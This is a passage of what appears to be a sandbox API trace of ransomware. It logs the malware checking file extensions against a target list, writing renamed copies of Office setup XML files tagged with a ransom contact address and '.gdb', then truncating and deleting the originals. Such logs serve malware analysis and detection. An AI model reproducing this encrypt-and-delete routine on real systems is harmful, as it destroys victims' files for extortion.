(lpString=".rar") returned 4 [0121.362] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.362] lstrlenW (lpString=".bz2") returned 4 [0121.362] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.362] lstrlenW (lpString=".7z") returned 3 [0121.362] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.362] lstrlenW (lpString=".dbf") returned 4 [0121.362] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.362] lstrlenW (lpString=".1cd") returned 4 [0121.362] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.362] lstrlenW (lpString=".jpg") returned 4 [0121.362] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.362] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.362] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0121.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.362] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1450) returned 1 [0121.363] CloseHandle (hObject=0x1f0) returned 1 [0121.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0121.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.363] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.363] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0121.380] GetLastError () returned 0x0 [0121.380] ReadFile (in: hFile=0x1f0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x5aa, lpOverlapped=0x0) returned 1 [0121.423] WriteFile (in: hFile=0x20c, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x5b0, lpOverlapped=0x0) returned 1 [0121.425] ReadFile (in: hFile=0x1f0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0121.425] WriteFile (in: hFile=0x20c, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xf4, lpOverlapped=0x0) returned 1 [0121.426] SetEndOfFile (hFile=0x20c) returned 1 [0121.426] CloseHandle (hObject=0x20c) returned 1 [0121.426] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.426] SetEndOfFile (hFile=0x1f0) returned 1 [0121.427] CloseHandle (hObject=0x1f0) returned 1 [0121.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.427] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0121.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.428] lstrlenW (lpString=".doc") returned 4 [0121.428] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.428] lstrlenW (lpString=".docx") returned 5 [0121.428] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0121.428] lstrlenW (lpString=".pdf") returned 4 [0121.428] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.428] lstrlenW (lpString=".xls") returned 4 [0121.428] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.428] lstrlenW (lpString=".xlsx") returned 5 [0121.428] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0121.428] lstrlenW (lpString=".ppt") returned 4 [0121.428] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.428] lstrlenW (lpString=".zip") returned 4 [0121.428] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.428] lstrlenW (lpString=".rar") returned 4 [0121.428] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.428] lstrlenW (lpString=".bz2") returned 4 [0121.428] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.428] lstrlenW (lpString=".7z") returned 3 [0121.428] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.428] lstrlenW (lpString=".dbf") returned 4 [0121.428] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.428] lstrlenW (lpString=".1cd") returned 4 [0121.428] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.429] lstrlenW (lpString=".jpg") returned 4 [0121.429] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.429] lstrlenW (lpString=".doc") returned 4 [0121.429] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.429] lstrlenW (lpString=".docx") returned 5 [0121.429] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0121.429] lstrlenW (lpString=".pdf") returned 4 [0121.429] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.429] lstrlenW (lpString=".xls") returned 4 [0121.429] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.429] lstrlenW (lpString=".xlsx") returned 5 [0121.429] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0121.429] lstrlenW (lpString=".ppt") returned 4 [0121.429] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.429] lstrlenW (lpString=".zip") returned 4 [0121.429] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.429] lstrlenW (lpString=".rar") returned 4 [0121.429] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.429] lstrlenW (lpString=".bz2") returned 4 [0121.429] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.429] lstrlenW (lpString=".7z") returned 3 [0121.429] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.429] lstrlenW (lpString=".dbf") returned 4 [0121.429] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.429] lstrlenW (lpString=".1cd") returned 4 [0121.429] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0121.429] lstrlenW (lpString=".jpg") returned 4 [0121.429] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.429] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.429] lstrlenW (lpString="VisioMUI.XML") returned 12 [0121.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.432] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=9503) returned 1 [0121.432] CloseHandle (hObject=0x200) returned 1 [0121.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0121.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.433] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.433] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0121.433] GetLastError () returned 0x0 [0121.433] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x251f, lpOverlapped=0x0) returned 1 [0121.434] WriteFile (in: hFile=0x208, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x2520, lpOverlapped=0x0) returned 1 [0121.435] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0121.435] WriteFile (in: hFile=0x208, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0121.435] SetEndOfFile (hFile=0x208) returned 1 [0121.435] CloseHandle (hObject=0x208) returned 1 [0121.436] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.436] SetEndOfFile (hFile=0x200) returned 1 [0121.437] CloseHandle (hObject=0x200) returned 1 [0121.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.437] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0121.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.437] lstrlenW (lpString=".doc") returned 4 [0121.438] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString=".docx") returned 5 [0121.438] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0121.438] lstrlenW (lpString=".pdf") returned 4 [0121.438] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString=".xls") returned 4 [0121.438] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString=".xlsx") returned 5 [0121.438] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0121.438] lstrlenW (lpString=".ppt") returned 4 [0121.438] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.438] lstrlenW (lpString=".zip") returned 4 [0121.438] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.438] lstrlenW (lpString=".rar") returned 4 [0121.438] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString=".bz2") returned 4 [0121.438] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString=".7z") returned 3 [0121.438] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.438] lstrlenW (lpString=".dbf") returned 4 [0121.438] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.438] lstrlenW (lpString=".1cd") returned 4 [0121.438] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.438] lstrlenW (lpString=".jpg") returned 4 [0121.438] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.438] lstrlenW (lpString=".doc") returned 4 [0121.438] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString=".docx") returned 5 [0121.438] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0121.438] lstrlenW (lpString=".pdf") returned 4 [0121.438] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString=".xls") returned 4 [0121.438] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.438] lstrlenW (lpString=".xlsx") returned 5 [0121.438] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0121.438] lstrlenW (lpString=".ppt") returned 4 [0121.438] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.439] lstrlenW (lpString=".zip") returned 4 [0121.439] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.439] lstrlenW (lpString=".rar") returned 4 [0121.439] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.439] lstrlenW (lpString=".bz2") returned 4 [0121.439] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.439] lstrlenW (lpString=".7z") returned 3 [0121.439] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.439] lstrlenW (lpString=".dbf") returned 4 [0121.439] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.439] lstrlenW (lpString=".1cd") returned 4 [0121.439] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0121.439] lstrlenW (lpString=".jpg") returned 4 [0121.439] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.439] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.439] lstrlenW (lpString="SETUP.XML") returned 9 [0121.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.440] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=20577) returned 1 [0121.440] CloseHandle (hObject=0x200) returned 1 [0121.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0121.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.440] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.440] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0121.440] GetLastError () returned 0x0 [0121.440] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x5061, lpOverlapped=0x0) returned 1 [0121.442] WriteFile (in: hFile=0x208, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x5070, lpOverlapped=0x0) returned 1 [0121.443] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0121.443] WriteFile (in: hFile=0x208, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0121.443] SetEndOfFile (hFile=0x208) returned 1 [0121.443] CloseHandle (hObject=0x208) returned 1 [0121.444] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.444] SetEndOfFile (hFile=0x200) returned 1 [0121.445] CloseHandle (hObject=0x200) returned 1 [0121.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.445] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0121.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.445] lstrlenW (lpString=".doc") returned 4 [0121.445] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.445] lstrlenW (lpString=".docx") returned 5 [0121.445] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.445] lstrlenW (lpString=".pdf") returned 4 [0121.445] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.445] lstrlenW (lpString=".xls") returned 4 [0121.446] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString=".xlsx") returned 5 [0121.446] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.446] lstrlenW (lpString=".ppt") returned 4 [0121.446] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.446] lstrlenW (lpString=".zip") returned 4 [0121.446] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.446] lstrlenW (lpString=".rar") returned 4 [0121.446] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString=".bz2") returned 4 [0121.446] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString=".7z") returned 3 [0121.446] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.446] lstrlenW (lpString=".dbf") returned 4 [0121.446] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.446] lstrlenW (lpString=".1cd") returned 4 [0121.446] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.446] lstrlenW (lpString=".jpg") returned 4 [0121.446] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.446] 